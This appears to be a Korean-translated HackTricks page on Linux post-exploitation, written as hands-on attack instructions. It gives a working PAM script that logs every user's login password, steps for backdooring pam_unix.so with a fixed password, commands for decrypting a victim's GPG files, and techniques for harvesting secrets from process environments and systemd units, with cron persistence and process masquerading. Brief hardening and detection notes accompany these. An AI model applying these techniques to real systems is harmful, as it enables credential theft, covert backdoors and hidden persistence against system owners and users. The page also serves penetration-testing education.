Linux Post-Exploitation

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Sniffing Logon Passwords with PAM

๊ฐ ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•  ๋•Œ ์‚ฌ์šฉํ•˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ธฐ๋กํ•˜๋„๋ก PAM ๋ชจ๋“ˆ์„ ๊ตฌ์„ฑํ•ด๋ณด์ž. PAM์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅธ๋‹ค๋ฉด ๋‹ค์Œ์„ ํ™•์ธ:

PAM - Pluggable Authentication Modules

For further details check the original post. ์ด ๋‚ด์šฉ์€ ๊ฐ„๋‹จํ•œ ์š”์•ฝ์ด๋‹ค:

Technique Overview: Pluggable Authentication Modules (PAM)๋Š” Unix ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์—์„œ ์ธ์ฆ ๊ด€๋ฆฌ๋ฅผ ์œ ์—ฐํ•˜๊ฒŒ ํ•ด์ค€๋‹ค. ๋กœ๊ทธ์ธ ๊ณผ์ •์„ ์‚ฌ์šฉ์žํ™”ํ•˜์—ฌ ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ์˜ค์šฉ๋˜๋ฉด ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ์š”์•ฝ์€ PAM์„ ์‚ฌ์šฉํ•ด ๋กœ๊ทธ์ธ ์ž๊ฒฉ์ฆ๋ช…์„ ํฌ์ฐฉํ•˜๋Š” ๊ธฐ๋ฒ•๊ณผ ์™„ํ™” ์ „๋žต์„ ๊ฐœ๋žต์ ์œผ๋กœ ์„ค๋ช…ํ•œ๋‹ค.

Capturing Credentials:

  • toomanysecrets.sh๋ผ๋Š” bash ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋งŒ๋“ค์–ด ๋กœ๊ทธ์ธ ์‹œ๋„(๋‚ ์งœ, ์‚ฌ์šฉ์ž๋ช… ($PAM_USER), ๋น„๋ฐ€๋ฒˆํ˜ธ(stdin์œผ๋กœ ์ž…๋ ฅ๋œ ๊ฐ’), ์›๊ฒฉ ํ˜ธ์ŠคํŠธ IP ($PAM_RHOST))๋ฅผ /var/log/toomanysecrets.log์— ๊ธฐ๋กํ•œ๋‹ค.
  • ์Šคํฌ๋ฆฝํŠธ์— ์‹คํ–‰ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๊ณ  pam_exec.so ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•ด ์กฐ์šฉํžˆ ์‹คํ–‰ํ•˜๊ณ  ์ธ์ฆ ํ† ํฐ์„ ์Šคํฌ๋ฆฝํŠธ์— ๋…ธ์ถœํ•˜๋„๋ก ์˜ต์…˜์„ ์„ค์ •ํ•œ ๋’ค PAM ๊ตฌ์„ฑ(common-auth)์— ํ†ตํ•ฉํ•œ๋‹ค.
  • ์ด ์ ‘๊ทผ๋ฒ•์€ ์†์ƒ๋œ Linux ํ˜ธ์ŠคํŠธ๊ฐ€ ์ž๊ฒฉ์ฆ๋ช…์„ ์€๋ฐ€ํ•˜๊ฒŒ ๊ธฐ๋กํ•˜๋„๋ก ์•…์šฉ๋  ์ˆ˜ ์žˆ์Œ์„ ๋ณด์—ฌ์ค€๋‹ค.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

์ž์„ธํ•œ ๋‚ด์šฉ์€ original post. ๊ฐ„๋‹จ ์š”์•ฝ:

Pluggable Authentication Module (PAM)๋Š” Linux์—์„œ ์‚ฌ์šฉ์ž ์ธ์ฆ์— ์‚ฌ์šฉ๋˜๋Š” ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ์„ธ ๊ฐ€์ง€ ์ฃผ์š” ๊ฐœ๋…์œผ๋กœ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค: username, password, ๊ทธ๋ฆฌ๊ณ  service. ๊ฐ ์„œ๋น„์Šค์˜ ์„ค์ • ํŒŒ์ผ์€ /etc/pam.d/ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์žˆ์œผ๋ฉฐ, ์—ฌ๊ธฐ์„œ ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์ธ์ฆ์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

Objective: PAM์„ ์ˆ˜์ •ํ•ด ์‹ค์ œ ์‚ฌ์šฉ์ž password๋ฅผ ์šฐํšŒํ•˜๊ณ  ํŠน์ • password๋กœ ์ธ์ฆ์„ ํ—ˆ์šฉํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํŠนํžˆ password ๊ฒ€์ฆ์„ ์œ„ํ•ด ๊ฑฐ์˜ ๋ชจ๋“  ์„œ๋น„์Šค์—์„œ ํฌํ•จ๋˜๋Š” common-auth ํŒŒ์ผ์ด ์‚ฌ์šฉํ•˜๋Š” pam_unix.so ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์ดˆ์ ์„ ๋งž์ถฅ๋‹ˆ๋‹ค.

pam_unix.so ์ˆ˜์ • ๋‹จ๊ณ„:

  1. Locate the Authentication Directive in the common-auth file:
  • ์‚ฌ์šฉ์ž์˜ password๋ฅผ ๊ฒ€์‚ฌํ•˜๋Š” ์ค„์ด pam_unix.so๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  1. Modify Source Code:
  • pam_unix_auth.c ์†Œ์Šค ํŒŒ์ผ์— ๋ฏธ๋ฆฌ ์ •ํ•ด๋‘” password๊ฐ€ ์‚ฌ์šฉ๋˜๋ฉด ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๊ณ , ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์ผ๋ฐ˜ ์ธ์ฆ ๊ณผ์ •์„ ์ง„ํ–‰ํ•˜๋Š” ์กฐ๊ฑด๋ฌธ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • ๋ฏธ๋ฆฌ ์ •ํ•ด๋‘” password๋กœ login, ssh, sudo, su, screensaver ๋“ฑ ๋‹ค์–‘ํ•œ ์„œ๋น„์Šค์—์„œ ์ ‘๊ทผ์ด ํ—ˆ์šฉ๋˜๋ฉฐ, ์ •์ƒ ์ธ์ฆ ๊ณผ์ •์€ ์˜ํ–ฅ์„ ๋ฐ›์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Tip

์ด ๊ณผ์ •์„ ์ž๋™ํ™”ํ•˜๋ ค๋ฉด https://github.com/zephrax/linux-pam-backdoor ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”

Decrypting GPG loot via homedir relocation

์•”ํ˜ธํ™”๋œ .gpg ํŒŒ์ผ๊ณผ ์‚ฌ์šฉ์ž์˜ ~/.gnupg ํด๋”(pubring, private-keys, trustdb)๋ฅผ ์ฐพ์•˜์ง€๋งŒ GnuPG homedir ๊ถŒํ•œ/์ž ๊ธˆ ๋•Œ๋ฌธ์— ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์—†๋‹ค๋ฉด, keyring์„ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์œ„์น˜๋กœ ๋ณต์‚ฌํ•˜๊ณ  ์ด๋ฅผ GPG home์œผ๋กœ ์‚ฌ์šฉํ•˜์„ธ์š”.

์ด ์ ˆ์ฐจ ์—†์ด ๋ณด๊ฒŒ ๋˜๋Š” ์ผ๋ฐ˜์ ์ธ ์˜ค๋ฅ˜๋“ค: โ€œunsafe ownership on homedirโ€, โ€œfailed to create temporary fileโ€, ๋˜๋Š” โ€œdecryption failed: No secret keyโ€ (GPG๊ฐ€ ์›๋ณธ homedir๋ฅผ ์ฝ๊ฑฐ๋‚˜ ์“ธ ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ).

Workflow:

# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

If the secret key material is present in private-keys-v1.d, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).

ํ”„๋กœ์„ธ์Šค ํ™˜๊ฒฝ์—์„œ ์ž๊ฒฉ์ฆ๋ช… ์ˆ˜์ง‘ (containers ํฌํ•จ)

์„œ๋น„์Šค ๋‚ด๋ถ€์—์„œ ์ฝ”๋“œ ์‹คํ–‰ ๊ถŒํ•œ์„ ์–ป์œผ๋ฉด, ํ”„๋กœ์„ธ์Šค๋Š” ์ข…์ข… ๋ฏผ๊ฐํ•œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์ƒ์†ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” lateral movement์— ๋งค์šฐ ์œ ์šฉํ•œ ์ž์›์ž…๋‹ˆ๋‹ค.

Quick wins

  • ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค ํ™˜๊ฒฝ ๋คํ”„: env ๋˜๋Š” printenv
  • ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค์˜ ํ™˜๊ฒฝ ๋คํ”„: tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'
  • tr/sed๊ฐ€ ์—†์„ ๊ฒฝ์šฐ strings -z /proc/<PID>/environ ์ถ”๊ฐ€
  • containers์—์„œ๋Š” PID 1๋„ ํ™•์ธ: tr '\0' '\n' </proc/1/environ

ํ™•์ธํ•  ํ•ญ๋ชฉ

  • ์•ฑ ์‹œํฌ๋ฆฟ ๋ฐ ๊ด€๋ฆฌ์ž ์ž๊ฒฉ์ฆ๋ช… (์˜ˆ: Grafana๋Š” GF_SECURITY_ADMIN_USER, GF_SECURITY_ADMIN_PASSWORD ์„ค์ •)
  • API keys, DB URIs, SMTP creds, OAuth secrets
  • ํ”„๋ก์‹œ ๋ฐ TLS ์˜ค๋ฒ„๋ผ์ด๋“œ: http_proxy, https_proxy, SSL_CERT_FILE, SSL_CERT_DIR

์ฐธ๊ณ 

  • ๋งŽ์€ ์˜ค์ผ€์ŠคํŠธ๋ ˆ์ด์…˜์€ ๋ฏผ๊ฐํ•œ ์„ค์ •์„ env๋ฅผ ํ†ตํ•ด ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค; ์ด ์„ค์ •๋“ค์€ ์ž์‹ ํ”„๋กœ์„ธ์Šค์— ์ƒ์†๋˜๋ฉฐ ํ”„๋กœ์„ธ์Šค ์ปจํ…์ŠคํŠธ ์•ˆ์—์„œ ์ƒ์„ฑํ•œ ์ž„์˜์˜ shell์— ๋…ธ์ถœ๋ฉ๋‹ˆ๋‹ค.
  • ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ์ด๋Ÿฌํ•œ creds๋Š” ์‹œ์Šคํ…œ ์ „๋ฐ˜์—์„œ ์žฌ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค(์˜ˆ: ํ˜ธ์ŠคํŠธ์—์„œ SSH์— ์œ ํšจํ•œ ๋™์ผํ•œ username/password), ์ด๋Š” ์†์‰ฌ์šด pivot์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

Systemd์— ์ €์žฅ๋œ ์ž๊ฒฉ์ฆ๋ช… (unit ํŒŒ์ผ์˜ Environment=)

systemd์— ์˜ํ•ด ์‹œ์ž‘๋œ ์„œ๋น„์Šค๋Š” Environment= ํ•ญ๋ชฉ์œผ๋กœ unit ํŒŒ์ผ์— ์ž๊ฒฉ์ฆ๋ช…์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‚˜์—ดํ•˜๊ณ  ์ถ”์ถœํ•˜์„ธ์š”:

# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root

์šด์˜ ์•„ํ‹ฐํŒฉํŠธ๋Š” ์ข…์ข… ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ leakํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: zip -P <pwd>๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ฐฑ์—… ์Šคํฌ๋ฆฝํŠธ). ํ•ด๋‹น ๊ฐ’๋“ค์€ ๋‚ด๋ถ€ ์›น UI(Basic-Auth)๋‚˜ ๋‹ค๋ฅธ ์„œ๋น„์Šค์—์„œ ์žฌ์‚ฌ์šฉ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.

Hardening

  • ๋น„๋ฐ€์„ ์ „์šฉ ์‹œํฌ๋ฆฟ ์ €์žฅ์†Œ๋กœ ์ด๋™ํ•˜์„ธ์š” (systemd-ask-password, ๊ถŒํ•œ์ด ์ž ๊ธด EnvironmentFile, ๋˜๋Š” ์™ธ๋ถ€ secret managers ๋“ฑ)
  • unit ํŒŒ์ผ์— creds๋ฅผ ๋ฐ•์•„๋‘์ง€ ๋งˆ์„ธ์š”; root ์ „์šฉ ์ฝ๊ธฐ ๊ฐ€๋Šฅํ•œ drop-in ํŒŒ์ผ์„ ์„ ํ˜ธํ•˜๊ณ  ๋ฒ„์ „ ๊ด€๋ฆฌ์—์„œ ์ œ๊ฑฐํ•˜์„ธ์š”
  • ํ…Œ์ŠคํŠธ ์ค‘ ๋ฐœ๊ฒฌ๋œ leaked ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ๊ต์ฒด(rotate)ํ•˜์„ธ์š”

Cron-based persistence with loopback mutex

  • ์ž„ํ”Œ๋ž€ํŠธ๋ฅผ ์—ฌ๋Ÿฌ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๊ฒฝ๋กœ(/tmp, /var/tmp, /dev/shm, /run/lock)์— ๋ณต์‚ฌํ•˜๊ณ  */5 * * * * /tmp/<bin> ๊ฐ™์€ cron ์—”ํŠธ๋ฆฌ๋ฅผ ์„ค์น˜ํ•ด ๋‹ค๋ฅธ ๊ณณ์—์„œ ์ œ๊ฑฐ๋˜์–ด๋„ ์žฌ์ƒ์„ฑ๋˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ณ ์ •๋œ loopback ํฌํŠธ(์˜ˆ: 127.0.0.1:51125 ๋˜๋Š” 127.0.0.1:52225)๋ฅผ ๋ฐ”์ธ๋”ฉํ•˜๊ณ  bind()๊ฐ€ ์‹คํŒจํ•˜๋ฉด ์ข…๋ฃŒํ•˜๋„๋ก ํ•˜์—ฌ single-instance ์‹คํ–‰์„ ๋ณด์žฅํ•˜์„ธ์š”; ss -lntp | grep -E '51125|52225'๋กœ mutex ๋ฆฌ์Šค๋„ˆ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์šด์˜์ž๊ฐ€ ์ฃผ๊ธฐ์ ์œผ๋กœ cmdline์— dropper ์ด๋ฆ„(์˜ˆ: init_stop)์ด ํฌํ•จ๋œ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋Œ€๋Ÿ‰์œผ๋กœ ์ข…๋ฃŒํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ๋ถ„์„ ์ค‘ ํ•ด๋‹น ์ด๋ฆ„์„ ์žฌ์‚ฌ์šฉํ•˜๋ฉด ์ถฉ๋Œ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค; ๊ณ ์œ ํ•œ ํŒŒ์ผ๋ช…์„ ์„ ํƒํ•˜์„ธ์š”.

Process masquerading via prctl + argv overwrite

  • prctl(PR_SET_NAME, "<label>")๋กœ ์งง์€ ํ”„๋กœ์„ธ์Šค ์ด๋ฆ„์„ ์„ค์ •ํ•˜์„ธ์š”(15-byte comm ์ œํ•œ). ํ”ํžˆ init์œผ๋กœ ์„ค์ •ํ•ด /proc/<pid>/status์™€ GUI์— ์ •์ƒ์ ์ธ ๋ผ๋ฒจ์„ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค.
  • /proc/self/cmdline ๊ธธ์ด์™€ argv[0] ํฌ์ธํ„ฐ๋ฅผ ์ฝ์€ ํ›„ ๋ฉ”๋ชจ๋ฆฌ์ƒ์˜ argv[0] ๋ฒ„ํผ๋ฅผ ๋ฎ์–ด์“ฐ๊ณ  NUL๋กœ ํŒจ๋”ฉํ•ด /proc/<pid>/cmdline๊ณผ ps์—์„œ๋„ ๊ฐ€์งœ ๋ผ๋ฒจ์ด ๋ณด์ด๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • /proc/<pid>/status์˜ Name:์„ ์‹ค์ œ ์‹คํ–‰ ํŒŒ์ผ ๊ฒฝ๋กœ์™€ ๋น„๊ตํ•˜๊ณ , cmdline์ด ์งง๊ฑฐ๋‚˜ ๋น„์–ด ์žˆ๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ ์†Œ์œ ํ•œ loopback mutex ๋ฆฌ์Šค๋„ˆ๋ฅผ ์ฐพ์•„ ํ—ŒํŒ…ํ•˜์„ธ์š”.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ